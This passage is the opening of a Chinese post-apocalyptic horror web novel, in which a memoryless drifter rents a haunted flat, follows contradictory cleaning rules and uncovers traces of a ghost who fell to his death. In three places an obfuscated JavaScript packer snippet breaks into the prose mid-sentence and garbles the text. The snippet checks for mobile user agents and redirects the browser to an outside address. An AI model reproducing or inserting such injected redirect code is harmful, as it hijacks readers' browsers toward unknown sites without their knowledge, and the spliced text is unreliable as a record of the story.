《废土流浪租房指南[无限]》 1. 无名之楼(0):103公寓 “就是这个地址吗?” 时安之看看手里那页纸,又抬头看看眼前这栋破败的七层小楼。 手里的租房广告纸质很差,被路边卷着沙尘的狂风一吹,几乎就要碎掉了。上面飘飘荡荡地印着: 公寓招租,不收租金,不查户籍。 嗯,怎么看怎么像诈骗犯。 时安之叹了口气。 他也不是冤大头,会揭下这广告实在属于无奈之举。 三天前,时安之从不知持续了多久的休眠中醒来,发现休眠舱已经被打开,他的身体和意识都在逐渐解冻复苏。 对于自己是谁、为什么会进入休眠,时安之没有一点记忆。但双脚刚落地,知觉尚在麻木状态,他就发现自己正身处一场莫大的危机之中。 举目四望都是雪白,这里显然是一间实验室或类似性质的地方。然而此刻,周围热浪滚滚,蒸得刚解冻的皮肤干涩作痛,所有能见到的器械全部翻倒、支离破碎,窗户和门上的玻璃也都碎裂一地,天花板上有道巨大的焦黑痕迹。 时安之迅速意识到,这个地方一定刚发生过一场爆炸。 鬼知道是因为什么。鬼知道还会有什么后续。 瞬间暴涨的求生欲让他当机立断,翻窗而出,离开了那栋建筑物。 再然后,他就华丽丽地沦为了废土世界的流浪汉一名…… 除了脖子上挂着的一个名牌,印着“时安之,二十六岁”之外,他没有任何关于自己身份的线索。 除了身上穿着的一件宽大单薄的浅青色外衫之外,他也没有任何随身衣物或行李,更没有可以自保的武器。 在处处都是辐射和酸雨的废土之上,一个像他这样的流浪汉,横死街头只是时间长短的问题。这里早就没有人类的都市,也不再有旧世界的丛林、河流和海洋,有的只有无尽的荒芜与污染,以及永远都在蔓延的死亡。 哦,还有残编管理局的巡逻队。这些冷血猎人扛着长枪短炮,日夜不断地搜寻着各地未登记的流浪汉,捉走后关押、编入集中管制营,洗脑成对他们言听计从的劳作奴隶。 在这里,时安之别无选择。他必须找到一个落脚之处。 毕竟,还能有比现在更坏的情况么? 他推开了门。 入目是一条长廊。楼里的光线很昏暗,只燃着一盏油腻腻的黄灯,时安之轻声道:“你好,请问有人吗?” 一片寂静。 空气有一种冷冰冰的油腻感,令人起白毛汗。时安之略微有点退缩,刚想把探进去的一只脚收回来,思索是不是要再考虑考虑。 突然之间,背后就被什么东西猛力一推。他一下子跌进了门内。 那盏灯刹那熄灭了。 大门传来合拢的响声,最后的光源也消失了。 时安之瞬间被吞没在黑暗里。下一秒,长廊无尽的阴影中,传来了清脆的高跟鞋声,一下,两下。渐渐靠近。 我靠,我这是进到什么地方了。 时安之咽了口唾沫,手往后摸到了大门上,不动声色地找了一圈。 居然没有门把手。 什么破设计! 高跟鞋越来越近。时安之用力推门,那门纹丝不动,他正在考虑是不是不顾一切地砸门逃跑时,那声音终于停了下来。 然后一束幽幽的火光在面前亮起。 浓稠的黑暗中,一张惨白的女人面容倏忽闪现。 那张大白脸配上大红唇,酒红色的碎发扫在脸侧,活脱脱一张女鬼面。时安之的心跳顿时都漏了一拍。 但这时女鬼面就开口了: “来租房子的么?” “……” 时安之:“……嗯,我来租房。” 酒红短发、黑色裙子的高挑女人立在原地,提着盏风灯笼打量他,目光深深,有好半晌都没说一句话。 在时安之的手心又开始冒汗时,她才终于沉声道:“跟我来吧。” “租约合同在这里,你看下,没有问题就签名。” 女人拍亮屋子里的灯,在他面前摊开一张泛黄的纸。 时安之垂眸,留心看了看合同上的署名,房东的名字叫越红。 “我就是房东。”女人主动自我介绍。 “哦,你就是越红老板。”时安之礼貌道。 他低头,大致翻了翻这两面合同。让他意外的是,租约内容非常简短,总结起来重要的就只有这么几条: 1. 在租期结束之前,租客不被允许离开“楼”。 2. 每个租期结束时,租客需向“楼”缴纳七枚印章。 3. 租客不能在“楼”内持续居住超过七日,否则将接受惩罚。 另还有一些细则,如“租客不被允许触碰房东”“租客不被允许进入房东的房间”之类的,看起来古里古怪,时安之暂时不打算去在意。他看着这页合同,好一会儿,眨了眨眼睛: “我有问题。” “你说。”越红看着他。 “首先,合同里没有写租期的时长。”时安之道,“不可能只有七天吧?” “当然不是。” 越红笑了一下,那张红唇拧起来像一片纤细的落叶:“租期的长短,由租客自己来决定。我不能决定。” “你什么时候集齐七枚印章,什么时候就能结束这个租期。” “那如果我不想结束呢?” “如果你愿意的话,也完全可以在这儿住一辈子。”越红慢悠悠地说。 “会有这么好的事?”时安之表示怀疑,“合同上写你们不仅包住还包吃,真的假的。” 越红道:“千真万确。” “不过,是不是好事,在我们这儿,不同的租客有不同的看法。” 时安之看着女房东浅色的眼睛,在暗淡的灯光下,那里面几乎泛出一种诡异的金色光泽。 这给他的感觉并不好。时安之重新垂下眼睛思索,纤细的手指一一划过那几个条款,又在某一条停下来。 “第二个问题。”他说,“能问吗?这七个印章是什么东西,要从什么地方得到?” “只要住进来成为租客,这个问题就可以得到解答。”越红平静地回答。 “你不能直接告诉我么?” “很抱歉,这方面我无法对租客之外的人透露过多讯息。” ——这就是你们的房子租不出去,只能到处发小广告的原因。时安之在心中吐槽道。 “好吧,最后一个问题。”他重新看了一遍合同, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283920|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把纸张轻轻翻回来,抬头看着女房东。 “你们这儿提供能穿的衣物么?” 时安之对她腼腆一笑。他本就比常人更消瘦些,此时还罩着从实验室里带出来的那件宽大的浅青色外衫,几乎没有任何版型剪裁,长度也就堪堪遮到膝盖,露出下面洁白笔直却细伶伶的两截小腿。 他摸了摸鼻子,有些不好意思地道:“我实在是没有衣服穿了。” 越红似乎也很轻地笑了一下,并没有觉得奇怪。大概她见到的黑户和流浪汉实在太多了。 “当然,我们会提供。”她说。 时安之耸了耸肩,对她伸出手掌。 “笔。” 红色的墨水笔落在他手心。时安之在粗粝的纸张末尾飞快写下一个飘逸的签名,落笔时才发现,自己的字迹要比想象中好看一些。 他签好名字抬头,发现女房东正漆漆地注视着自己。 “怎么?” “你签得还真快。”越红喃喃道。 “哦,这不是你想要的吗?”时安之把合同推还给她。 “很少有人能这么快做出决定。”越红说,“你知道,租客们总是很挑剔,他们的问题非常多。” “真好。”时安之淡淡地说,“听上去他们还有选择。” 对于有选择的人,他们也许考量到最后,并不会签下这张合同。但对于孤注一掷的人来说,他是站在一团迷雾中,前方全是黑暗,只能摸索出这条唯一的路,孤注一掷地走下去。没有其他办法。 越红不置可否,她收下那张租约,时安之红色的签名在她手下闪过一道鲜艳的火光,文字仿佛在熊熊燃烧。 她站起身,从身后的大柜子中取下一串老式的金属钥匙,递给时安之。 钥匙上用记号笔歪歪扭扭地写着“103”。 “那么,祝你好运,亲爱的租客。”越红说。 “欢迎来到‘无名之楼’,你的第一个租期,从现在开始。要来见见你的室友么?” 时安之没有衣兜,只能将沉甸甸的钥匙勾在小指上。他看着女房东,困惑地偏了下头:“我还有室友?你们租的是几人间?” “空房不多了,这一轮租期格外满。”越红道。 她打开门,带着时安之向长廊深处走去,一边道:“你有一个室友,他也是刚刚入住。” 在黑暗之中走了几分钟,突然啪的一声,不知道越红按了什么地方,他们身边又亮起一盏小灯。 时安之看见,墙壁上嵌着一扇老旧的蓝色防盗门,锈迹已经有些斑驳了。门上用暗红色的油漆印刷着“103”。 他转头看了看越红。女房东也看着他,道:“用你的钥匙吧。” 时安之吸了口气,将钥匙塞进了门上的老式锁孔。转动得意外顺畅,很快,机关传来轻响,门应声而开。 暖白的光芒刹那将他淹没。 等时安之缓过那道光线,再睁开眼睛时,越红的身影已经消失了。他站在一间公寓门口的玄关处,脚下踩着一张柔软的地毯。 一个比他还要衣衫褴褛的流浪汉站在客厅,瞠目结舌地看着他。 两秒之后,男人向时安之冲了过来。 “——救救我!”他大叫,“我要出去!” 2. 时时勤拂拭(1):入住卫生须知 “你再重复一遍,你的名字,还有你怎么进来的。”时安之说。 他坐在沙发上,看着对面拘谨而紧张、几乎缩成了一团的男人。 男人自称叫伍九思。和时安之相比,他套着的简直就是一张破烂麻袋,光着脚,脚底都是污泥和斑驳的血迹。 他搓着拇指,白着一张脸,说:“我来这半个小时了。是那个……那个女人把我带进来的,门关上了,我就出不去了。” “我离不开客厅,窗户也打不开。我……我明明签了那个租房合同……我应该住在这里的……但是这里,这间房子不对劲……” 时安之问:“有哪里不对劲?” 伍九思抬起头,目光越过时安之,看向他身后。时安之跟着他的视线回头,看见自己背对一个紧闭着门的房间,看起来应该是厨房。 “所有的门都打不开。”伍九思说。 哦,那就是被关在客厅里了,听上去是房东的失职。时安之想。他的想法或许表现在了脸上,伍九思立刻重重地对他摇头。 “不是,不只是那样……”伍九思说。 时安之稍微来了点兴趣,眼睛眯起,习惯性地偏了一下头。 但没等他问下去,客厅墙上的挂钟突然发出了一声清脆的铃响。 “叮。” 两个人瞬间抬头。 时钟的分针似乎在刚才归了零,一只机械报时鸟从下方弹射出来,吱吱地叫了几声。 接着它忽然停住,像卡壳那样发出了一连串的怪声。“咔哒咔哒”。随后吐掉一段坏掉的弹簧。 【欢迎租客入住103号公寓。】用着僵硬的机械嗓音,这只报时鸟一字一句地说。 【第一个碎片世界「时时勤拂拭」已经开启。】 【请在12小时内,将您所居住的公寓内部打扫干净,使公寓洁净度达到100%。这是每一个新租客入住时的基本礼仪。】 【经检测,您目前的公寓洁净度为40%。】 硕大的“40%”出现在了公寓的电视屏幕上。数字下方是一个小小的倒计时:12:00:00。 【在开始清洁之前,我们希望租客能认真阅读玄关处的《入住卫生须知》,并严格执行上面的内容。】 【非常感谢您的配合。请谨记,时时勤拂拭,勿使惹尘埃。】 【祝您入住愉快。】 报时鸟缩了回去。 客厅里陷入一阵诡异的安静。 “……它刚刚说什么?什么碎片世界?”半晌,伍九思细声细气地开口。 时安之盯着那只鸟弹射出来的位置,看了一会儿,没说话,只是从沙发上站了起来。 他走到玄关前,地毯上果然落着一张轻飘飘的纸片。他清清楚楚记得自己进来的时候,这儿还空空如也,什么都没有。 时安之把纸片拾起,展开,安静地读起来。 *** 【《入住卫生须知》】 亲爱的租客,您已入住“无名楼”第103号公寓。在开始愉快的合租生活之前,请您务必阅读本须知并照做,我们将不胜感激: 1. 安居之首,在于拂拭。时时勤拂拭,勿使惹尘埃。 2. 您的室友喜爱绝对的洁净。为了日后的友好相处,请不要让他发现任何不净之物。 …… *** 时安之读到这里,顿了一下,抬头。 伍九思不知什么时候已经凑了过来,跟在他身边,也在一起看着纸上的内容。 显然两个人都读到了这句话,同时看向了对方。目光都落在对方那身和破布基本没有区别的衣着上。 “……” “……” “……咳。”时安之有点尴尬,“那个,条件有限,这属于意外。” “嗯嗯,理解。”伍九思说,“其实……那个,我也是。” 这不必他说。会接受那样古怪的租约,住进这栋楼里的人,大多都是没有户籍也身无分文的流浪汉。手无寸铁,命在旦夕,身后还有残编管理局在追捕,这样的人才会铤而走险,去投靠一个未知的庇护所。 “那,这条规则是什么意思?”伍九思接着问,“室友喜爱绝对的洁净,不要让他发现任何不净之物……” 也许可以暂时认为,这个须知中所谓的“室友”,不是他们两个人中的任何一个。 时安之心想,摇了摇头,继续读下去。 *** …… 3. 因此,若在室内见到任何不属于本房屋固有的物质,请立即清理。可扔至客厅的焚烧炉内。 (注:包括但不限于灰尘、毛发、血迹、牙齿、人体残肢等。) 4. 若公寓洁净度降至30%以下,您可以尝试进入储藏室寻找更多的清洁工具。 5. 公寓所有的窗户都是密封的。为您的安全着想,任何情况下都不要尝试打开、窥‖探或敲击窗户。 6. 如果您听到窗外传来声音,请不要理会,那只是风声。即使那听上去像说话声或有人在求救。 7. 考虑到卫生需要,请首先清理浴室。公寓洁净度超过70%之后,不要再使用浴室,并锁上浴室的门。 8. 如果您听到浴室里传来声音,请不要理会,那只是管道老化的水声。即使那听上去像说话声或有人在求救。 9. 在公寓洁净度高于90%时,不要进入公寓任何的阴影区。确保你待在光线能■■■■(内容被抹黑) 9. 在公寓洁净度高于90%时,确保你待在一个安全的阴影区内。(歪歪扭扭且潦草的铅笔手写) 10. 维持公寓的安宁与整洁是您的首要任务。在公寓洁净度达到100%时,入户门将自动解锁,且您可以在租约上得到一枚红色的印章。 祝您居住愉快。 …… *** 纸上的内容就到这里。 时安之抬眼朝客厅的大电视望过去,硕大而鲜红的数字“40%”并没有改变,下方的计时则已经跳到了“11:51:23”。 十二个小时。将公寓打扫干净,可以获得一枚印章。 这就是女房东没有告知他们的租期信息么?实际上,一个完整的租期就是完成七个不同的场景任务? “碎片世界”又是什么? 时安之再读了一次须知的内容,闭上眼,清理了一下思绪。 这十条规则里,最吸引他注意力的地方,当然是那两个重复的第九条。 洁净度到什么时候才会提升到90%、待在阴影区究竟会有什么后果,他现在没有任何信息可以判断。 但这两个“第九条”,明晃晃地展示出,这张纸上存在着两股完全对立的力量。 那么,规则就未必是可信的了。 虽然那歪歪扭扭的铅笔手写字迹,任谁来看都觉得是有人在恶作剧,但时安之不敢赌这个可能性。他尝试把两个矛盾的规则放到同等重要的位置来比较,显然这两股力量有着完全相反的目的。 一个希望租客避开阴影区,另一个希望租客进入阴影区。 再将“目的”的范围扩大,卫生须知想“维持公寓的安宁与整洁”,也就是提升洁净度,直到100%为止。 作为对立方,铅笔字迹想要的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283921|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么? ——这就很好想了。它不希望公寓变得干净。 既然如此,清理这件事本身,恐怕就不那么安全了。 “哥,那我们现在是……”一旁的伍九思颤巍巍地问,打断了他的思绪。 时安之眼皮一跳,顿时扭头,看向伍九思那张年纪明显比自己更大,肤色发黄,还饱经风霜的脸。 叫我哥吗?认真的吗? “我们要去清理浴室吗?须知上说,浴室必须首先清理。”伍九思浑然不觉自己叫得有什么问题,继续道。 “规则确实希望我们先清理浴室。”时安之说,“不过,在这之前,我想先做一个实验。” “实验?” 时安之:“嗯。你刚才说,你已经在这里待了半个小时,对吗?” “对……” “你有在这里看到过铅笔吗?” 伍九思愣愣地看着他:“铅笔?……好像是有看到过一支,你等等,我找来给你。” 他起身,在茶几底下翻找了一通,很快给时安之拿来了一支短小的铅笔。大部分都已经磨损了,只剩下拇指长短的一小截,笔头也很圆钝。 时安之右手接过来,左手径直把写着卫生须知的那页纸垫在了玄关的鞋柜上,落笔。 笔头触到纸面时,他犹豫了一下,短暂的一秒钟。然后他在第九条规则的下方,用铅笔轻轻地画上了一个箭头,尖端直直指向“安全的阴影区”。 一个箭头。 不传达任何信息,不篡改任何定义,不冒犯任何规则。只是一个没有语义的箭头。 时安之想看看,这份规则究竟有多大的修改空间。 然而,就在铅笔停下的数秒内,那个小小的箭头宛如被一张看不见的嘴舔舐而过,石墨的粉末瞬间脱离了纸面,一寸一寸,消失得无影无踪。 须知光洁如新,就像从来没有人画过那个箭头一样。 伍九思发出了一声小小的惊呼。 时安之瞳孔一缩,眉头皱了起来。 这并不是他想看到的情况,但的确是他预料到的情况。 须知上存在某种权限。 租客没有修改这份须知的权限。 而相对应的,那个写下铅笔字的存在,拥有着可以短暂覆写规则的权限——但,也只有那短暂的一次。否则一定会有更多对抗性的内容留下来。 这条覆写上去的规则,是那个存在所能给出的全部。 这位铅笔兄到底是善还是恶? 时安之觉得,用善恶来划分似乎有些武断。他抬头看了看须知的开头。 【请您务必阅读本须知并照做,我们将不胜感激。】 我们将不胜感激。“我们”是谁?为了什么而感激? 规则中没有一个字提到租客的安全。 规则不是为了保护我们而存在的。 时安之忽然轻轻笑了一下。他转头看向伍九思,问:“你相信哪一个?” 伍九思惶恐:“我?” “你相信这份须知,还是这位铅笔兄?” “我……我还是比较相信卫生须知。”伍九思吞吞吐吐道,“须知的内容要清晰很多,而且也说了打开入户门的条件,就是洁净度达到100%,没什么歧义。” “至于这个,呃,铅笔兄……” 时安之不出声地看着他,知道他从刚才开始,就有话要说。 “……我之前没和你讲,哥,其实我从小就有个天赋,不是很强,但是……” 伍九思顿了顿,说:“我能感觉到不干净的东西。” “这间公寓里,就有非常不干净的东西。” 3. 时时勤拂拭(2):坠落之灵 “你是个阴阳眼?”时安之很快反应过来。 “不是,不是。”伍九思连忙摆手,“没有那么厉害。我看不到那些东西,只能感觉,而且也不是每次都那么灵光。但是我常常能感觉到……哪些地方不干净,只要遇到,就会浑身发冷不舒服。” “而这个地方,就让我非常非常不舒服。” 时安之想了想:“你说的不干净的东西,通常指什么?” “鬼,魂魄,幽灵……本质上来说,是一切和死亡有关的存在。”伍九思说。 “原来如此。” 时安之垂眼沉吟。 随后想起来什么似的,看了眼电视屏幕。这会儿倒计时已经走到了11:40:33。 二十分钟过去了。 他叹一口气,站起来,把须知折叠好捏在手里。说:“先不考虑那些事情,我们就去清理浴室好了。” 顿了顿,又苦笑:“哦,对了,我叫时安之。拜托你,别再叫我哥了。” ——此前在阅读时,时安之确实考虑过,须知上的指令会不会有陷阱。然而,“首先清理浴室”这一条规则,是唯一一条白纸黑字写出了顺序的规则,在一切都还不明晰的时候,没有任何必要去和它掰手腕。 就目前的风险比较而言,顺从规则会是最安全的选择。 更何况,伍九思的情绪很不稳定。或许和他特别的天赋有关系,这个男人此刻对环境充满了恐惧,在人极度恐慌的情况下,一个明确、有效的指令能很好地帮他平复状态。 既然自己的这个室友偏向于去浴室,那么就去浴室吧。 出乎他们的意料,浴室的门一推就开了。里面的灯光亮着,冷冷的无机的青白色罩在老化瓷砖上,没有一点人气。 “这……这门刚才我还打不开。”伍九思说。 任务刷新,倒计时开始,这些房间自然就开启了。这一点时安之倒不觉得惊讶,他的目光已经扫进了室内。 这间浴室其实并不脏,就瓷砖老化的程度来看,状况甚至还算得上干净。只是在地面和墙角的夹缝处,残留着一些污水干涸的痕迹。 空气里飘着一股陈旧的气味,像许久未通风的潮湿,又混着一丝若有若无的、怪异的甜腻。 伍九思进了门,果然积极自主地开始行动,去水槽下拿来了挂着的干抹布,打开水龙头沾湿,准备自己清理靠近门的那一边墙缝。 时安之却还留在门口,观察着整间浴室的内部。 被打开过的水龙头似乎有些松动。伍九思好像没有拧紧,残余的几滴击打在水槽底部的积水上,发出微弱的、单调的声响。 一滴,两滴。 这个音色…… 时安之突然动了。他快步走到水槽前,看向水槽底部,那里凝着一汪浑浊的水洼。一团黑色雾气似的罩在漏嘴上方。 他的心顿时沉了下去,一种不祥的预感升了起来。 “来看看这里。”时安之对伍九思道。 “好像有什么东西把水槽堵住了。” 伍九思闻言,提着抹布过来:“我刚才放水时没注意到啊……啊,我明白了,这就是浴室里需要我们清理的东西吧?” 他想明白这是任务的要求之后,脸色就变白了,眼神里瞬间溢出了恐惧。 不过,也很快下了巨大的决心。伍九思咽了口唾沫,用抹布裹住自己的手掌,开始向那汪浊水里伸了过去。 时安之看到他动作,“哎”了一声,没来得及叫停,对方的手指就已经探入了水中。 伍九思一边慢慢往下摸,一边喃喃自语,自我安慰一般道:“没关系的,只要我们按照须知的要求完成任务,就不会有问题……只要清理干净就没关系的……” “嗯,这里确实有什么东西堵住了……” 他一边念着,一边努力将手指伸下去,掏水槽底部的漏嘴。话到中途,却忽然被什么东西掐住声带似的,声音直接断掉,随后露出了一个难以言喻的表情。 “怎么了?”时安之感觉自己的后背也紧了一下。 “这里好像有……”伍九思说,“咦……” “啊!!!” 他突然毫无征兆地发出一声惨叫,把手猛然拔了出来。 大量的鲜血随之溅出,和漏嘴里别的什么东西一起蹦出来,撒落在雪白的洗手台上,砸出几声清脆的响。伍九思拔出的手指居然直接短掉了一截,指头的部分被生生咬断,皮肉翻开,可以看见里面的骨头,同时还有更多的血在往外流。 “有东西咬我!!!” 伍九思捂着自己的手指,惨然大叫。 “赶紧扯块布料,包扎止血!” 时安之语速飞快。他第一次见这样的画面,浑身发冷,心脏砰砰乱跳,但还是上前去把伍九思拉开。同时他自己冲到洗手台前,捡起了刚才从漏嘴里蹦出来的其中一颗白色小东西。 东西接触到皮肤的刹那,一种极其怪异的感觉顺着指尖窜来。那不是单纯的冷意,还带着某种强烈的情绪残留……某种极致的痛苦和绝望,让时安之瞬间起了一层白毛汗。 那是令人后背发凉的一个物件—— 冰凉的,带血的,一颗人类的牙齿,静静躺在他的手心里。 牙齿的牙冠相对完整,但下方的牙根却齐齐断裂,夹带着牙龈的残余组织和黑褐色的血肉。像是一个人重重摔落在地时,撞击飞出的那样一颗牙。 时安之只看了一眼便有点反胃,但他逼着自己往地上望。地面和台面还散落着三四颗这样的牙,都是刚才伍九思突然抽手时,从洗手台的漏嘴里带出来的。 【……因此,若在室内见到任何不属于本房屋固有的物质,请立即清理。可扔至客厅的焚化炉内。】 【包括但不限于灰尘、毛发、血迹、牙齿、人体残肢等。】 原来说的是这样的牙齿…… 时安之打心底里非常非常抗拒做这件事。但他还是弯下腰,把那些牙一颗颗捡起来。 有些和他刚才捡起的一样,大体上还算完整。另外一些则碎得更严重,只是一些泛黄的、大小不一的瓷片般的颗粒,挂着陈年的黑血和灰尘。时安之看了看洗手台,牙齿取出之后,底部的污水就全部漏了下去。 缩在时安之背后,伍九思的脸已经痛得完全发白。他扭曲着表情,手忙脚乱地用袖子去捂自己的断指,血一直在淅淅沥沥地往地上滴。 滴答,答,滴答,答,滴答,答。 时安之再度觉得有点不对——血滴在瓷砖上的声音是这样吗? 他猛然低头,看到那些滴落的血水仿佛激活了什么东西似的,墙角开始源源不断地渗出污浊的水流,与鲜血溶在一起。短短几分钟,就已在脚边聚起了浅浅的一层,似乎还很有继续上涨的趋势。 牙齿,血迹。 不属于本房屋固有的物质。 时安之瞳孔猛地一缩,一把拽过伍九思,开始往浴室门外跑去。 血水一路滴落,他冲到客厅,看向电视的屏幕。 果然—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283922|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏幕上的数字已经变化了。原本的40%早已不在,数据跌落到了33%,还在继续向下滑。 32%,31%…… 时安之三步并作两步,直接杀到电视柜旁边的小型焚化炉前,将手中紧紧攥着的几颗牙齿残片扔了进去。同时叫道:“——找东西止血啊!” 伍九思终于也从刚才那阵浑浑噩噩中明白过来,骤然爆发出一股力气,从袖子上撕掉了一条布料,死死地包裹在断指的地方,疼得表情扭曲惨白也不敢松手。 牙齿前前后后地落进焚化炉中,青色的火焰宛如活物般腾燃而起,瞬间吞没了那几粒小小的人体碎片。 血液滴落的声音也止住了。时安之回头看屏幕,只见那数字岌岌可危地在30%边缘滑过,来回闪动了几下。 然后停在了29%。 时安之:“……” 故意的吧。 真有点没脾气了。时安之蹲下来,从自己的衣服上扯裂一小块布,去擦拭地面上一路滴落的血迹,再抬头看屏幕。数字纹丝不动。 ……好,就是故意的。 【若公寓洁净度降至30%以下,您可以尝试进入储藏室寻找更多的清洁工具。】 “洁净度低于30%,恐怕我们得去储藏室了。”他无奈道。 原来是一环扣一环,早就算好了。白纸黑字的规则,像牧羊犬赶羊一样,要把他们赶到储藏室里去。 虽然从规则的字面上看,不去储藏室也不会有什么危险,毕竟只是在建议租客“尝试”。但洁净度是通关的硬性标准,如果不进储藏室,数字卡死在29%无法再上升的话,他们也毫无破局的办法。 所以,规则是在强迫他们做出选择。并且,储藏室里一定藏着更多、更重要的信息。 准备给我看什么? 不要让我失望啊。 时安之盯着那个数字,又回头看了看伍九思简单包扎过却仍在渗血的手指。 不知道储藏室里会不会有能止血的药物。 他一边这样想,一边低下头,手心仿佛还残留着刚才碰触到那颗牙齿时,刹那间产生的怪异感觉。 ……那是一种仿佛通达至灵魂深处的,无比哀伤的连接。 他擦了擦手上残留的血迹,怔怔出了一会儿神。 ——牙齿。 ——血水。 ——规则中反复提及的【窗户】。 ——人体残肢。 ——跟死亡有关的存在…… 时安之忽然极轻声地说: “我觉得,我好像知道咱们的‘室友’是个什么东西了。” 也猜到储藏室里大概藏着什么东西了。 齐根断裂的牙齿,破碎带牙龈组织的颗粒,是大力撞击才会导致的伤情。 除了遭受钝器重击以外,另一种可能,就是高速的坠落。 一个物体,从高处的一扇窗户上,以极大的动能,呈一定的角度坠落,撞向硬质表面……然后碎裂,喷溅,分解。 伍九思捂着手,微张嘴巴,呆滞地看着他,一副不知道他在说什么的样子。 时安之呼出一口气,声音出奇的冰冷: “这间公寓里,不只有我们两个。” “——如果我没猜错的话……这里还住着一个,曾经从很高的地方坠落下来的鬼魂。” 他看着伍九思,随后目光转向客厅里那扇被木板封死的窗户。 “我们刚才捡到的东西,和放在储藏室里的东西,都是他的遗产。” 4. 时时勤拂拭(3):旧世界的遗物 储藏室的门甫一打开,一股陈旧呛口的灰尘气味就扑面而来。时安之咳嗽两声,往房间内看去,这里的光线非常暗淡,唯一的光源就是墙面高处凿开的一扇扁平小窗。 墙边斜斜摆放着不少东西,拖把、扫帚、水桶,这些常规的清洁工具全都堆积在储藏室里。伍九思捂着受伤的手,紧跟在时安之后面,但他一进门,就直奔着那些工具过去了,目标相当清晰。 除此之外,似乎也有些旧家具被遗弃在这里。时安之此时的目光,就落在了靠墙的一面木质书架上。 木头,在这个时代已经很少见了。 那是旧世界的遗物。在末日来临、世界破碎成亿万个微型废墟之后,和这种物质相关的碎片就极少被人拾起。他们正居住在其中一个气候混乱、环境恶劣的废墟世界中,多数人都相信,木头是一种脆弱、华而不实的东西,不具备多少价值。 时安之走了过去,开始认真端详那面书架。 书架很空,只随意叠放着一些后末日时代由残编管理局出版的书籍。在这些泛黄的旧书之间,时安之余光一扫,敏锐地发现了一个暗黄封皮的笔记本。 他抬手,细白的指节陷进书本之间的缝隙,轻轻把那个笔记本取了出来。 笔记本落在手里,意外的干净,表面没有任何灰尘。时安之翻开封皮,扉页上用钢笔端正地写着三个字: 喻成风。 一个名字。 时安之心中一动,心说,这位就是我们的神秘室友么? 他看了看一旁正忙着查看工具的伍九思,没说话,翻到了第一页。 记录者的字迹很工整,页面也相当干净整洁,第一眼看上去,几乎像是一份实验室的工作报告: “今天又看到鸟的羽毛卡在窗缝里,有点脏。” “梦见和小烛在草地上奔跑。” “最近又是酸雨天,衣服总是不干。” 内容倒是很日常的记述,看不出有什么问题。 时安之又往后翻了一页。这一页的字迹比前一页略乱了些,带着一点微弱的病态的战栗,但记录者似乎并没有发觉。 “今天检查窗缝,那只鸟又来了。好脏。” “浴室的玻璃还需要擦。” “地板上的污渍都是哪儿来的?” 再到下一页,笔迹已经凌乱得很明显了,出现了一些被涂黑的词汇,而且在部分文字侧旁,配上了简陋的图画。 “■快要落成了。所有人都很高兴。” “■真的能带我们去任何地方吗?回到旧世界也可以?” “……小烛给我带来了新的票根。我觉得,这就是她想去的地方。” “我想和她一起离开这里。” “不要留在肮脏的地方了。” 在第一行字的右侧,画着一个近似于三角形的图案,非常潦草,完全看不出意指何物。第三行下方则画着一排生硬的小山形状。 时安之在那个三角形的图案上注目了片刻,眉头轻轻皱起来。他隐约产生了一种异样的感觉。 然后他又翻了一页。 “我的倒影。今天擦玻璃时,它好像比我慢了一点。” “梦到了……草是污染物。风会带来灰尘。不可以奔跑。” “那只鸟又来了……” “太脏了……擦不干净了……” 这页的最后,有人用着抖得几乎看不清的笔迹,凌乱地书写着: “他们说我被污染了■■■” 墨迹在结尾凝成了大团无法辨认的污渍,呈现出沉甸甸的黑色。 时安之凝神看了一会儿这句话,深吸一口气。然后翻到了最后一页。 这一页的内容非常短。字迹反而不再凌乱,变回了最初的工整洁净,克制得宛如一个人临行前的匆匆落笔。 “我要开窗了” …… “飞走吧” 随着这一页被翻阅,一张轻飘飘的纸片也从笔记本的夹缝中落了下来。 时安之蹲下身,把纸片拾起来,原来是一张泛黄的、斑驳的老照片。纸张拿在手里的感觉非常旧,质地很脆弱,仿佛被风一吹就会整张碎裂开来。 照片比寻常的尺寸要短一截,左侧似乎被撕掉了大约1/3的内容,只剩下右侧并肩站立的两个人。一男一女,两个都是年轻人,对着镜头微笑着,手臂亲密地挨在一起。这是一张合影。 只是……两个人的眼睛都被墨水涂黑了。黑色的墨迹和褪色的面容产生极强烈的色彩对比,衬得照片上的人皮肤惨白,寻常的笑容也平白生出了一丝诡异感。 时安之翻到背面,照片的角落用钢笔写着:■。喻。姜。 第一个字又被墨汁涂黑了。 